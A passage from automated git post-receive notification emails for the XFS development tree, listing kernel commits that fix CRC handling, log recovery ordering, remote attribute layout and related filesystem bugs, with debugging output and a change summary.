enabled for v5 superblock filesystems, so the mount options to enable or disable it need to be cause mount errors. Signed-off-by: Dave Chinner Reviewed-by: Brian Foster Signed-off-by: Ben Myers (cherry picked from commit d3eaace84e40bf946129e516dcbd617173c1cf14) commit ad868afddb908a5d4015c6b7637721b48fb9c8f9 Author: Dave Chinner Date: Wed Jun 5 12:09:08 2013 +1000 xfs: inode unlinked list needs to recalculate the inode CRC The inode unlinked list manipulations operate directly on the inode buffer, and so bypass the inode CRC calculation mechanisms. Hence an inode on the unlinked list has an invalid CRC. Fix this by recalculating the CRC whenever we modify an unlinked list pointer in an inode, ncluding during log recovery. This is trivial to do and results in unlinked list operations always leaving a consistent inode in the buffer. Signed-off-by: Dave Chinner Reviewed-by: Mark Tinguely Signed-off-by: Ben Myers (cherry picked from commit 0a32c26e720a8b38971d0685976f4a7d63f9e2ef) commit 75406170751b4de88a01f73dda56efa617ddd5d7 Author: Dave Chinner Date: Wed Jun 5 12:09:07 2013 +1000 xfs: fix log recovery transaction item reordering There are several constraints that inode allocation and unlink logging impose on log recovery. These all stem from the fact that inode alloc/unlink are logged in buffers, but all other inode changes are logged in inode items. Hence there are ordering constraints that recovery must follow to ensure the correct result occurs. As it turns out, this ordering has been working mostly by chance than good management. The existing code moves all buffers except cancelled buffers to the head of the list, and everything else to the tail of the list. The problem with this is that is interleaves inode items with the buffer cancellation items, and hence whether the inode item in an cancelled buffer gets replayed is essentially left to chance. Further, this ordering causes problems for log recovery when inode CRCs are enabled. It typically replays the inode unlink buffer long before it replays the inode core changes, and so the CRC recorded in an unlink buffer is going to be invalid and hence any attempt to validate the inode in the buffer is going to fail. Hence we really need to enforce the ordering that the inode alloc/unlink code has expected log recovery to have since inode chunk de-allocation was introduced back in 2003... Signed-off-by: Dave Chinner Reviewed-by: Mark Tinguely Signed-off-by: Ben Myers (cherry picked from commit a775ad778073d55744ed6709ccede36310638911) commit ea929536a43226a01d1a73ac8b14d52e81163bd4 Author: Dave Chinner Date: Mon Jun 3 15:28:49 2013 +1000 xfs: fix remote attribute invalidation for a leaf When invalidating an attribute leaf block block, there might be remote attributes that it points to. With the recent rework of the remote attribute format, we have to make sure we calculate the length of the attribute correctly. We aren't doing that in xfs_attr3_leaf_inactive(), so fix it. Signed-off-by: Dave Chinner Reviewed-by: Brian Foster Reviewed-by: Mark Tinguely Signed-off-by: Ben Myers (cherry picked from commit 59913f14dfe8eb772ff93eb442947451b4416329) commit bb9b8e86ad083ecb2567ae909c1d6cb0bbaa60fe Author: Dave Chinner Date: Mon Jun 3 15:28:46 2013 +1000 xfs: rework dquot CRCs Calculating dquot CRCs when the backing buffer is written back just doesn't work reliably. There are several places which manipulate dquots directly in the buffers, and they don't calculate CRCs appropriately, nor do they always set the buffer up to calculate CRCs appropriately. Firstly, if we log a dquot buffer (e.g. during allocation) it gets logged without valid CRC, and so on recovery we end up with a dquot that is not valid. Secondly, if we recover/repair a dquot, we don't have a verifier attached to the buffer and hence CRCs are not calculated on the way down to disk. Thirdly, calculating the CRC after we've changed the contents means that if we re-read the dquot from the buffer, we cannot verify the contents of the dquot are valid, as the CRC is invalid. So, to avoid all the dquot CRC errors that are being detected by the read verifier, change to using the same model as for inodes. That is, dquot CRCs are calculated and written to the backing buffer at the time the dquot is flushed to the backing buffer. If we modify the dquot directly in the backing buffer, calculate the CRC immediately after the modification is complete. Hence the dquot in the on-disk buffer should always have a valid CRC. Signed-off-by: Dave Chinner Reviewed-by: Brian Foster Reviewed-by: Ben Myers Signed-off-by: Ben Myers (cherry picked from commit 6fcdc59de28817d1fbf1bd58cc01f4f3fac858fb) commit 7bc0dc271e494e12be3afd3c6431e5216347c624 Author: Dave Chinner Date: Tue May 21 18:02:08 2013 +1000 xfs: rework remote attr CRCs Note: this changes the on-disk remote attribute format. I assert that this is OK to do as CRCs are marked experimental and the first kernel it is included in has not yet reached release yet. Further, the userspace utilities are still evolving and so anyone using this stuff right now is a developer or tester using volatile filesystems for testing this feature. Hence changing the format right now to save longer term pain is the right thing to do. The fundamental change is to move from a header per extent in the attribute to a header per filesytem block in the attribute. This means there are more header blocks and the parsing of the attribute data is slightly more complex, but it has the advantage that we always know the size of the attribute on disk based on the length of the data it contains. This is where the header-per-extent method has problems. We don't know the size of the attribute on disk without first knowing how many extents are used to hold it. And we can't tell from a mapping lookup, either, because remote attributes can be allocated contiguously with other attribute blocks and so there is no obvious way of determining the actual size of the atribute on disk short of walking and mapping buffers. The problem with this approach is that if we map a buffer incorrectly (e.g. we make the last buffer for the attribute data too long), we then get buffer cache lookup failure when we map it correctly. i.e. we get a size mismatch on lookup. This is not necessarily fatal, but it's a cache coherency problem that can lead to returning the wrong data to userspace or writing the wrong data to disk. And debug kernels will assert fail if this occurs. I found lots of niggly little problems trying to fix this issue on a 4k block size filesystem, finally getting it to pass with lots of fixes. The thing is, 1024 byte filesystems still failed, and it was getting really complex handling all the corner cases that were showing up. And there were clearly more that I hadn't found yet. It is complex, fragile code, and if we don't fix it now, it will be complex, fragile code forever more. Hence the simple fix is to add a header to each filesystem block. This gives us the same relationship between the attribute data length and the number of blocks on disk as we have without CRCs - it's a linear mapping and doesn't require us to guess anything. It is simple to implement, too - the remote block count calculated at lookup time can be used by the remote attribute set/get/remove code without modification for both CRC and non-CRC filesystems. The world becomes sane again. Because the copy-in and copy-out now need to iterate over each filesystem block, I moved them into helper functions so we separate the block mapping and buffer manupulations from the attribute data and CRC header manipulations. The code becomes much clearer as a result, and it is a lot easier to understand and debug. It also appears to be much more robust - once it worked on 4k block size filesystems, it has worked without failure on 1k block size filesystems, too. Signed-off-by: Dave Chinner Reviewed-by: Ben Myers Signed-off-by: Ben Myers (cherry picked from commit ad1858d77771172e08016890f0eb2faedec3ecee) commit 634fd5322a3e6ae632dcf5f20eebc0583ba50838 Author: Dave Chinner Date: Tue May 21 18:02:06 2013 +1000 xfs: fully initialise temp leaf in xfs_attr3_leaf_compact xfs_attr3_leaf_compact() uses a temporary buffer for compacting the the entries in a leaf. It copies the the original buffer into the temporary buffer, then zeros the original buffer completely. It then copies the entries back into the original buffer. However, the original buffer has not been correctly initialised, and so the movement of the entries goes horribly wrong. Make sure the zeroed destination buffer is fully initialised, and once we've set up the destination incore header appropriately, write is back to the buffer before starting to move entries around. While debugging this, the _d/_s prefixes weren't sufficient to remind me what buffer was what, so rename then all _src/_dst. Signed-off-by: Dave Chinner Reviewed-by: Ben Myers Signed-off-by: Ben Myers (cherry picked from commit d4c712bcf26a25c2b67c90e44e0b74c7993b5334) commit 9e80c76205b46b338cb56c336148f54b2326342f Author: Dave Chinner Date: Tue May 21 18:02:05 2013 +1000 xfs: fully initialise temp leaf in xfs_attr3_leaf_unbalance xfs_attr3_leaf_unbalance() uses a temporary buffer for recombining the entries in two leaves when the destination leaf requires compaction. The temporary buffer ends up being copied back over the original destination buffer, so the header in the temporary buffer needs to contain all the information that is in the destination buffer. To make sure the temporary buffer is fully initialised, once we've set up the temporary incore header appropriately, write is back to the temporary buffer before starting to move entries around. Signed-off-by: Dave Chinner Reviewed-by: Ben Myers Signed-off-by: Ben Myers (cherry picked from commit 8517de2a81da830f5d90da66b4799f4040c76dc9) commit 58a72281555bf301f6dff24db2db205c87ef8db1 Author: Dave Chinner Date: Tue May 21 18:02:04 2013 +1000 xfs: correctly map remote attr buffers during removal If we don't map the buffers correctly (same as for get/set operations) then the incore buffer lookup will fail. If a block number matches but a length is wrong, then debug kernels will ASSERT fail in _xfs_buf_find() due to the length mismatch. Ensure that we map the buffers correctly by basing the length of the buffer on the attribute data length rather than the remote block count. Signed-off-by: Dave Chinner Reviewed-by: Ben Myers Signed-off-by: Ben Myers (cherry picked from commit 6863ef8449f1908c19f43db572e4474f24a1e9da) commit 26f714450c3907ce07c41a0bd1bea40368e0b4da Author: Dave Chinner Date: Tue May 21 18:02:03 2013 +1000 xfs: remote attribute tail zeroing does too much When an attribute data does not fill then entire remote block, we zero the remaining part of the buffer. This, however, needs to take into account that the buffer has a header, and so the offset where zeroing starts and the length of zeroing need to take this into account. Otherwise we end up with zeros over the end of the attribute value when CRCs are enabled. While there, make sure we only ask to map an extent that covers the remaining range of the attribute, rather than asking every time for the full length of remote data. If the remote attribute blocks are contiguous with other parts of the attribute tree, it will map those blocks as well and we can potentially zero them incorrectly. We can also get buffer size mistmatches when trying to read or remove the remote attribute, and this can lead to not finding the correct buffer when looking it up in cache. Signed-off-by: Dave Chinner Reviewed-by: Ben Myers Signed-off-by: Ben Myers (cherry picked from commit 4af3644c9a53eb2f1ecf69cc53576561b64be4c6) commit 551b382f5368900d6d82983505cb52553c946a2b Author: Dave Chinner Date: Tue May 21 18:02:02 2013 +1000 xfs: remote attribute read too short Reading a maximally size remote attribute fails when CRCs are enabled with this verification error: XFS (vdb): remote attribute header does not match required off/len/owner) There are two reasons for this, the first being that the length of the buffer being read is determined from the args->rmtblkcnt which doesn't take into account CRC headers. Hence the mapped length ends up being too short and so we need to calculate it directly from the value length. The second is that the byte count of valid data within a buffer is capped by the length of the data and so doesn't take into account that the buffer might be longer due to headers. Hence we need to calculate the data space in the buffer first before calculating the actual byte count of data. Signed-off-by: Dave Chinner Reviewed-by: Ben Myers Signed-off-by: Ben Myers (cherry picked from commit 913e96bc292e1bb248854686c79d6545ef3ee720) commit 9531e2de6b7f04bd734b4bbc1e16a6955121615a Author: Dave Chinner Date: Tue May 21 18:02:01 2013 +1000 xfs: remote attribute allocation may be contiguous When CRCs are enabled, there may be multiple allocations made if the headers cause a length overflow. This, however, does not mean that the number of headers required increases, as the second and subsequent extents may be contiguous with the previous extent. Hence when we map the extents to write the attribute data, we may end up with less extents than allocations made. Hence the assertion that we consume the number of headers we calculated in the allocation loop is incorrect and needs to be removed. Signed-off-by: Dave Chinner Reviewed-by: Ben Myers Signed-off-by: Ben Myers (cherry picked from commit 90253cf142469a40f89f989904abf0a1e500e1a6) commit e400d27d1690d609f203f2d7d8efebc98cbc3089 Author: Dave Chinner Date: Tue May 28 18:37:17 2013 +1000 xfs: fix dir3 freespace block corruption When the directory freespace index grows to a second block (2017 4k data blocks in the directory), the initialisation of the second new block header goes wrong. The write verifier fires a corruption error indicating that the block number in the header is zero. This was being tripped by xfs/110. The problem is that the initialisation of the new block is done just fine in xfs_dir3_free_get_buf(), but the caller then users a dirv2 structure to zero on-disk header fields that xfs_dir3_free_get_buf() has already zeroed. These lined up with the block number in the dir v3 header format. While looking at this, I noticed that the struct xfs_dir3_free_hdr() had 4 bytes of padding in it that wasn't defined as padding or being zeroed by the initialisation. Add a pad field declaration and fully zero the on disk and in-core headers in xfs_dir3_free_get_buf() so that this is never an issue in the future. Note that this doesn't change the on-disk layout, just makes the 32 bits of padding in the layout explicit. Signed-off-by: Dave Chinner Reviewed-by: Ben Myers Signed-off-by: Ben Myers (cherry picked from commit 5ae6e6a401957698f2bd8c9f4a86d86d02199fea) commit 7c9950fd2ac97431230544142d5e652e1b948372 Author: Dave Chinner Date: Mon May 27 16:38:24 2013 +1000 xfs: disable swap extents ioctl on CRC enabled filesystems Currently, swapping extents from one inode to another is a simple act of switching data and attribute forks from one inode to another. This, unfortunately in no longer so simple with CRC enabled filesystems as there is owner information embedded into the BMBT blocks that are swapped between inodes. Hence swapping the forks between inodes results in the inodes having mapping blocks that point to the wrong owner and hence are considered corrupt. To fix this we need an extent tree block or record based swap algorithm so that the BMBT block owner information can be updated atomically in the swap transaction. This is a significant piece of new work, so for the moment simply don't allow swap extent operations to succeed on CRC enabled filesystems. Signed-off-by: Dave Chinner Reviewed-by: Ben Myers Reviewed-by: Brian Foster Signed-off-by: Ben Myers (cherry picked from commit 02f75405a75eadfb072609f6bf839e027de6a29a) commit e7927e879d12d27aa06b9bbed57cc32dcd7d17fd Author: Dave Chinner Date: Mon May 27 16:38:26 2013 +1000 xfs: add fsgeom flag for v5 superblock support. Currently userspace has no way of determining that a filesystem is CRC enabled. Add a flag to the XFS_IOC_FSGEOMETRY ioctl output to indicate that the filesystem has v5 superblock support enabled. This will allow xfs_info to correctly report the state of the filesystem. Signed-off-by: Dave Chinner Reviewed-by: Eric Sandeen Reviewed-by: Brian Foster Signed-off-by: Ben Myers (cherry picked from commit 74137fff067961c9aca1e14d073805c3de8549bd) commit 1de09d1ae48152e56399aba0bfd984fb0ddae6b0 Author: Dave Chinner Date: Mon May 27 16:38:20 2013 +1000 xfs: fix incorrect remote symlink block count When CRCs are enabled, the number of blocks needed to hold a remote symlink on a 1k block size filesystem may be 2 instead of 1. The transaction reservation for the allocated blocks was not taking this into account and only allocating one block. Hence when trying to read or invalidate such symlinks, we are mapping a hole where there should be a block and things go bad at that point. Fix the reservation to use the correct block count, clean up the block count calculation similar to the remote attribute calculation, and add a debug guard to detect when we don't write the entire symlink to disk. Signed-off-by: Dave Chinner Reviewed-by: Ben Myers Reviewed-by: Brian Foster Signed-off-by: Ben Myers (cherry picked from commit 321a95839e65db3759a07a3655184b0283af90fe) commit 7d2ffe80aa000a149246b3745968634192eb5358 Author: Dave Chinner Date: Mon May 27 16:38:23 2013 +1000 xfs: fix split buffer vector log recovery support A long time ago in a galaxy far away.... .. the was a commit made to fix some ilinux specific "fragmented buffer" log recovery problem: http://oss.sgi.com/cgi-bin/gitweb.cgi?p=archive/xfs-import.git;a=commitdiff;h=b29c0bece51da72fb3ff3b61391a391ea54e1603 That problem occurred when a contiguous dirty region of a buffer was split across across two pages of an unmapped buffer. It's been a long time since that has been done in XFS, and the changes to log the entire inode buffers for CRC enabled filesystems has re-introduced that corner case. And, of course, it turns out that the above commit didn't actually fix anything - it just ensured that log recovery is guaranteed to fail when this situation occurs. And now for the gory details. xfstest xfs/085 is failing with this assert: XFS (vdb): bad number of regions (0) in inode log format XFS: Assertion failed: 0, file: fs/xfs/xfs_log_recover.c, line: 1583 Largely undocumented factoid #1: Log recovery depends on all log buffer format items starting with this format: struct foo_log_format { __uint16_t type; __uint16_t size; .... As recoery uses the size field and assumptions about 32 bit alignment in decoding format items. So don't pay much attention to the fact log recovery thinks that it decoding an inode log format item - it just uses them to determine what the size of the item is. But why would it see a log format item with a zero size? Well, luckily enough xfs_logprint uses the same code and gives the same error, so with a bit of gdb magic, it turns out that it isn't a log format that is being decoded. What logprint tells us is this: Oper (130): tid: a0375e1a len: 28 clientid: TRANS flags: none BUF: #regs: 2 start blkno: 144 (0x90) len: 16 bmap size: 2 flags: 0x4000 Oper (131): tid: a0375e1a len: 4096 clientid: TRANS flags: none BUF DATA ---------------------------------------------------------------------------- Oper (132): tid: a0375e1a len: 4096 clientid: TRANS flags: none xfs_logprint: unknown log operation type (4e49) ********************************************************************** * ERROR: data block=2 * ********************************************************************** That we've got a buffer format item (oper 130) that has two regions; the format item itself and one dirty region. The subsequent region after the buffer format item and it's data is them what we are tripping over, and the first bytes of it at an inode magic number. Not a log opheader like there is supposed to be. That means there's a problem with the buffer format item. It's dirty data region is 4096 bytes, and it contains - you guessed it - initialised inodes. But inode buffers are 8k, not 4k, and we log them in their entirety. So something is wrong here. The buffer format item contains: (gdb) p /x *(struct xfs_buf_log_format *)in_f $22 = {blf_type = 0x123c, blf_size = 0x2, blf_flags = 0x4000, blf_len = 0x10, blf_blkno = 0x90, blf_map_size = 0x2, blf_data_map = {0xffffffff, 0xffffffff, .... }} Two regions, and a signle dirty contiguous region of 64 bits. 64 * 128 = 8k, so this should be followed by a single 8k region of data. And the blf_flags tell us that the type of buffer is a XFS_BLFT_DINO_BUF. It contains inodes. And because it doesn't have the XFS_BLF_INODE_BUF flag set, that means it's an inode allocation buffer. So, it should be followed by 8k of inode data. But we know that the next region has a header of: (gdb) p /x *ohead $25 = {oh_tid = 0x1a5e37a0, oh_len = 0x100000, oh_clientid = 0x69, oh_flags = 0x0, oh_res2 = 0x0} and so be32_to_cpu(oh_len) = 0x1000 = 4096 bytes. It's simply not long enough to hold all the logged data. There must be another region. There is - there's a following opheader for another 4k of data that contains the other half of the inode cluster data - the one we assert fail on because it's not a log format header. So why is the second part of the data not being accounted to the correct buffer log format structure? It took a little more work with gdb to work out that the buffer log format structure was both expecting it to be there but hadn't accounted for it. It was at that point I went to the kernel code, as clearly this wasn't a bug in xfs_logprint and the kernel was writing bad stuff to the log. First port of call was the buffer item formatting code, and the discontiguous memory/contiguous dirty region handling code immediately stood out. I've wondered for a long time why the code had this comment in it: vecp->i_addr = xfs_buf_offset(bp, buffer_offset); vecp->i_len = nbits * XFS_BLF_CHUNK; vecp->i_type = XLOG_REG_TYPE_BCHUNK; /* * You would think we need to bump the nvecs here too, but we do not * this number is used by recovery, and it gets confused by the boundary * split here * nvecs++; */ vecp++; And it didn't account for the extra vector pointer. The case being handled here is that a contiguous dirty region lies across a boundary that cannot be memcpy()d across, and so has to be split into two separate operations for xlog_write() to perform. What this code assumes is that what is written to the log is two consecutive blocks of data that are accounted in the buf log format item as the same contiguous dirty region and so will get decoded as such by the log recovery code. The thing is, xlog_write() knows nothing about this, and so just does it's normal thing of adding an opheader for each vector. That means the 8k region gets written to the log as two separate regions of 4k each, but because nvecs has not been incremented, the buf log format item accounts for only one of them. Hence when we come to log recovery, we process the first 4k region and then expect to come across a new item that starts with a log format structure of some kind that tells us whenteh next data is going to be. Instead, we hit raw buffer data and things go bad real quick. So, the commit from 2002 that commented out nvecs++ is just plain wrong. It breaks log recovery completely, and it would seem the only reason this hasn't been since then is that we don't log large contigous regions of multi-page unmapped buffers very often. Never would be a closer estimate, at least until the CRC code came along.... So, lets fix that by restoring the nvecs accounting for the extra region when we hit this case..... .... and there's the problemin log recovery it is apparently working around: XFS: Assertion failed: i == item->ri_total, file: fs/xfs/xfs_log_recover.c, line: 2135 Yup, xlog_recover_do_reg_buffer() doesn't handle contigous dirty regions being broken up into multiple regions by the log formatting code. That's an easy fix, though - if the number of contiguous dirty bits exceeds the length of the region being copied out of the log, only account for the number of dirty bits that region covers, and then loop again and copy more from the next region. It's a 2 line fix. Now xfstests xfs/085 passes, we have one less piece of mystery code, and one more important piece of knowledge about how to structure new log format items.. Signed-off-by: Dave Chinner Reviewed-by: Mark Tinguely Signed-off-by: Ben Myers (cherry picked from commit 709da6a61aaf12181a8eea8443919ae5fc1b731d) commit 2962f5a5dcc56f69cbf62121a7be67cc15d6940b Author: Dave Chinner Date: Mon May 27 16:38:25 2013 +1000 xfs: kill suid/sgid through the truncate path. XFS has failed to kill suid/sgid bits correctly when truncating files of non-zero size since commit c4ed4243 ("xfs: split xfs_setattr") introduced in the 3.1 kernel. Fix it. Fix it. cc: stable kernel Signed-off-by: Dave Chinner Reviewed-by: Brian Foster Signed-off-by: Ben Myers (cherry picked from commit 56c19e89b38618390addfc743d822f99519055c6) commit 08fb39051f5581df45ae2a20c6cf2d0c4cddf7c2 Author: Dave Chinner Date: Tue May 21 18:02:00 2013 +1000 xfs: avoid nesting transactions in xfs_qm_scall_setqlim() Lockdep reports: ============================================= [ INFO: possible recursive locking detected ] 3.9.0+ #3 Not tainted --------------------------------------------- setquota/28368 is trying to acquire lock: (sb_internal){++++.?}, at: [] xfs_trans_alloc+0x26/0x50 but task is already holding lock: (sb_internal){++++.?}, at: [] xfs_trans_alloc+0x26/0x50 from xfs_qm_scall_setqlim()->xfs_dqread() when a dquot needs to be allocated. xfs_qm_scall_setqlim() is starting a transaction and then not passing it into xfs_qm_dqet() and so it starts it's own transaction when allocating the dquot. Splat! Fix this by not allocating the dquot in xfs_qm_scall_setqlim() inside the setqlim transaction. This requires getting the dquot first (and allocating it if necessary) then dropping and relocking the dquot before joining it to the setqlim transaction. Reported-by: Michael L. Semon Signed-off-by: Dave Chinner Reviewed-by: Ben Myers Signed-off-by: Ben Myers (cherry picked from commit f648167f3ac79018c210112508c732ea9bf67c7b) commit 7ae077802c9f12959a81fa1a16c1ec2842dbae05 Author: Dave Chinner Date: Mon May 20 09:51:16 2013 +1000 xfs: remote attribute lookups require the value length When reading a remote attribute, to correctly calculate the length of the data buffer for CRC enable filesystems, we need to know the length of the attribute data. We get this information when we look up the attribute, but we don't store it in the args structure along with the other remote attr information we get from the lookup. Add this information to the args structure so we can use it appropriately. Signed-off-by: Dave Chinner Reviewed-by: Ben Myers Signed-off-by: Ben Myers (cherry picked from commit e461fcb194172b3f709e0b478d2ac1bdac7ab9a3) commit cf257abf02709dba3cc745d950f144ce49432b4f Author: Dave Chinner Date: Mon May 20 09:51:14 2013 +1000 xfs: xfs_attr_shortform_allfit() does not handle attr3 format. xfstests generic/117 fails with: XFS: Assertion failed: leaf->hdr.info.magic == cpu_to_be16(XFS_ATTR_LEAF_MAGIC) indicating a function that does not handle the attr3 format correctly. Fix it. Signed-off-by: Dave Chinner Reviewed-by: Ben Myers Signed-off-by: Ben Myers (cherry picked from commit b38958d715316031fe9ea0cc6c22043072a55f49) commit 7ced60cae46cb37273a03c196e6f473b089bd8e1 Author: Dave Chinner Date: Mon May 20 09:51:13 2013 +1000 xfs: xfs_da3_node_read_verify() doesn't handle XFS_ATTR3_LEAF_MAGIC Signed-off-by: Dave Chinner Reviewed-by: Ben Myers Signed-off-by: Ben Myers (cherry picked from commit 72916fb8cbcf0c2928f56cdc2fbe8c7bf5517758) commit b17cb364dbbbf65add79f1610599d01bcb6851f9 Author: Dave Chinner Date: Mon May 20 09:51:12 2013 +1000 xfs: fix missing KM_NOFS tags to keep lockdep happy There are several places where we use KM_SLEEP allocation contexts and use the fact that they are called from transaction context to add KM_NOFS where appropriate. Unfortunately, there are several places where the code makes this assumption but can be called from outside transaction context but with filesystem locks held. These places need explicit KM_NOFS annotations to avoid lockdep complaining about reclaim contexts. Signed-off-by: Dave Chinner Reviewed-by: Ben Myers Signed-off-by: Ben Myers (cherry picked from commit ac14876cf9255175bf3bdad645bf8aa2b8fb2d7c) commit 509e708a8929c5b75a16c985c03db5329e09cad4 Author: Dave Chinner Date: Mon May 20 09:51:10 2013 +1000 xfs: Don't reference the EFI after it is freed Checking the EFI for whether it is being released from recovery after we've already released the known active reference is a mistake worthy of a brown paper bag. Fix the (now) obvious use after free that it can cause. Reported-by: Dave Jones Signed-off-by: Dave Chinner Reviewed-by: Brian Foster Signed-off-by: Ben Myers (cherry picked from commit 52c24ad39ff02d7bd73c92eb0c926fb44984a41d) commit 7031d0e1c46e2b1c869458233dd216cb72af41b2 Author: Dave Chinner Date: Mon May 20 09:51:09 2013 +1000 xfs: fix rounding in xfs_free_file_space The offset passed into xfs_free_file_space() needs to be rounded down to a certain size, but the rounding mask is built by a 32 bit variable. Hence the mask will always mask off the upper 32 bits of the offset and lead to incorrect writeback and invalidation ranges. This is not actually exposed as a bug because we writeback and invalidate from the rounded offset to the end of the file, and hence the offset we are actually punching a hole out of will always be covered by the code. This needs fixing, however, if we ever want to use exact ranges for writeback/invalidation here... Signed-off-by: Dave Chinner Reviewed-by: Brian Foster Signed-off-by: Ben Myers (cherry picked from commit 28ca489c63e9aceed8801d2f82d731b3c9aa50f5) commit 480d7467e4aaa3dc38088baf56bc3eb3599f5d26 Author: Dave Chinner Date: Mon May 20 09:51:08 2013 +1000 xfs: fix sub-page blocksize data integrity writes FSX on 512 byte block size filesystems has been failing for some time with corrupted data. The fault dates back to the change in the writeback data integrity algorithm that uses a mark-and-sweep approach to avoid data writeback livelocks. Unfortunately, a side effect of this mark-and-sweep approach is that each page will only be written once for a data integrity sync, and there is a condition in writeback in XFS where a page may require two writeback attempts to be fully written. As a result of the high level change, we now only get a partial page writeback during the integrity sync because the first pass through writeback clears the mark left on the page index to tell writeback that the page needs writeback.... The cause is writing a partial page in the clustering code. This can happen when a mapping boundary falls in the middle of a page - we end up writing back the first part of the page that the mapping covers, but then never revisit the page to have the remainder mapped and written. The fix is simple - if the mapping boundary falls inside a page, then simple abort clustering without touching the page. This means that the next ->writepage entry that write_cache_pages() will make is the page we aborted on, and xfs_vm_writepage() will map all sections of the page correctly. This behaviour is also optimal for non-data integrity writes, as it results in contiguous sequential writeback of the file rather than missing small holes and having to write them a "random" writes in a future pass. With this fix, all the fsx tests in xfstests now pass on a 512 byte block size filesystem on a 4k page machine. Signed-off-by: Dave Chinner Reviewed-by: Brian Foster Signed-off-by: Ben Myers (cherry picked from commit 49b137cbbcc836ef231866c137d24f42c42bb483) commit 34097dfe88503ca2d0dbca3646c5afb331d1ac99 Author: Lukas Czerner Date: Tue May 21 23:58:01 2013 -0400 xfs: use ->invalidatepage() length argument ->invalidatepage() aop now accepts range to invalidate so we can make use of it in xfs_vm_invalidatepage() Signed-off-by: Lukas Czerner Acked-by: Dave Chinner Reviewed-by: Ben Myers Cc: xfs@oss.sgi.com commit d47992f86b307985b3215bcf141d56d1849d71df Author: Lukas Czerner Date: Tue May 21 23:17:23 2013 -0400 mm: change invalidatepage prototype to accept length Currently there is no way to truncate partial page where the end truncate point is not at the end of the page. This is because it was not needed and the functionality was enough for file system truncate operation to work properly. However more file systems now support punch hole feature and it can benefit from mm supporting truncating page just up to the certain point. Specifically, with this functionality truncate_inode_pages_range() can be changed so it supports truncating partial page at the end of the range (currently it will BUG_ON() if 'end' is not at the end of the page). This commit changes the invalidatepage() address space operation prototype to accept range to be invalidated and update all the instances for it. We also change the block_invalidatepage() in the same way and actually make a use of the new length argument implementing range invalidation. Actual file system implementations will follow except the file systems where the changes are really simple and should not change the behaviour in any way .Implementation for truncate_page_range() which will be able to accept page unaligned ranges will follow as well. Signed-off-by: Lukas Czerner Cc: Andrew Morton Cc: Hugh Dickins ----------------------------------------------------------------------- Summary of changes: fs/xfs/xfs_aops.c | 14 ++++++++------ fs/xfs/xfs_dir2.c | 13 +++++-------- fs/xfs/xfs_dir2_block.c | 17 +++++++---------- fs/xfs/xfs_dir2_leaf.c | 18 ++++++++---------- fs/xfs/xfs_dir2_priv.h | 11 +++++------ fs/xfs/xfs_dir2_sf.c | 31 +++++++++++++------------------ fs/xfs/xfs_file.c | 18 +++++++----------- fs/xfs/xfs_trace.h | 15 ++++++++++----- fs/xfs/xfs_vnodeops.h | 3 +-- 9 files changed, 64 insertions(+), 76 deletions(-) hooks/post-receive -- XFS development tree From bpm@oss.sgi.com Mon Jul 15 17:40:32 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 46323) id 32DD27F52; Mon, 15 Jul 2013 17:40:32 -0500 (CDT) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, for-next, updated. for-linus-v3.11-rc1-2-12113-gad81f05 X-Git-Refname: refs/heads/for-next X-Git-Reftype: branch X-Git-Oldrev: c31ad439e8d111bf911c9cc80619cebde411a44d X-Git-Newrev: ad81f0545ef01ea651886dddac4bef6cec930092 Message-Id: <20130715224032.32DD27F52@oss.sgi.com> Date: Mon, 15 Jul 2013 17:40:29 -0500 (CDT) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, for-next has been updated 239dab4 Merge tag 'for-linus-v3.11-rc1-2' of git://oss.sgi.com/xfs/xfs da89bd2 Merge tag 'for-linus-v3.11-rc1' of git://oss.sgi.com/xfs/xfs 790eac5 Merge branch 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/viro/vfs 46a1c2c vfs: export lseek_execute() to modules 9e239bb Merge tag 'ext4_for_linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tytso/ext4 b822755 [readdir] convert xfs d302cf1 xfs: don't shutdown log recovery on validation errors 088c9f6 xfs: ensure btree root split sets blkno correctly 5170711 xfs: fix implicit padding in directory and attr CRC formats 47ad2fc xfs: don't emit v5 superblock warnings on write 0a8aa19 xfs: increase number of ACL entries for V5 superblocks f763fd4 xfs: disable noattr2/attr2 mount options for CRC enabled filesystems ad868af xfs: inode unlinked list needs to recalculate the inode CRC 7540617 xfs: fix log recovery transaction item reordering ea92953 xfs: fix remote attribute invalidation for a leaf bb9b8e8 xfs: rework dquot CRCs 7bc0dc2 xfs: rework remote attr CRCs 634fd53 xfs: fully initialise temp leaf in xfs_attr3_leaf_compact 9e80c76 xfs: fully initialise temp leaf in xfs_attr3_leaf_unbalance 58a7228 xfs: correctly map remote attr buffers during removal 26f7144 xfs: remote attribute tail zeroing does too much 551b382 xfs: remote attribute read too short 9531e2d xfs: remote attribute allocation may be contiguous e400d27 xfs: fix dir3 freespace block corruption 7c9950f xfs: disable swap extents ioctl on CRC enabled filesystems e7927e8 xfs: add fsgeom flag for v5 superblock support. 1de09d1 xfs: fix incorrect remote symlink block count 7d2ffe8 xfs: fix split buffer vector log recovery support 2962f5a xfs: kill suid/sgid through the truncate path. 08fb390 xfs: avoid nesting transactions in xfs_qm_scall_setqlim() 7ae0778 xfs: remote attribute lookups require the value length cf257ab xfs: xfs_attr_shortform_allfit() does not handle attr3 format. 7ced60c xfs: xfs_da3_node_read_verify() doesn't handle XFS_ATTR3_LEAF_MAGIC b17cb36 xfs: fix missing KM_NOFS tags to keep lockdep happy 509e708 xfs: Don't reference the EFI after it is freed 7031d0e xfs: fix rounding in xfs_free_file_space 480d746 xfs: fix sub-page blocksize data integrity writes 34097df xfs: use ->invalidatepage() length argument d47992f mm: change invalidatepage prototype to accept length from c31ad439e8d111bf911c9cc80619cebde411a44d (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit 239dab4636f7f5f971ac39b5ca84254cff112cac Merge: f1c4108 c31ad43 Author: Linus Torvalds Date: Sat Jul 13 11:40:24 2013 -0700 Merge tag 'for-linus-v3.11-rc1-2' of git://oss.sgi.com/xfs/xfs Pull more xfs updates from Ben Myers: 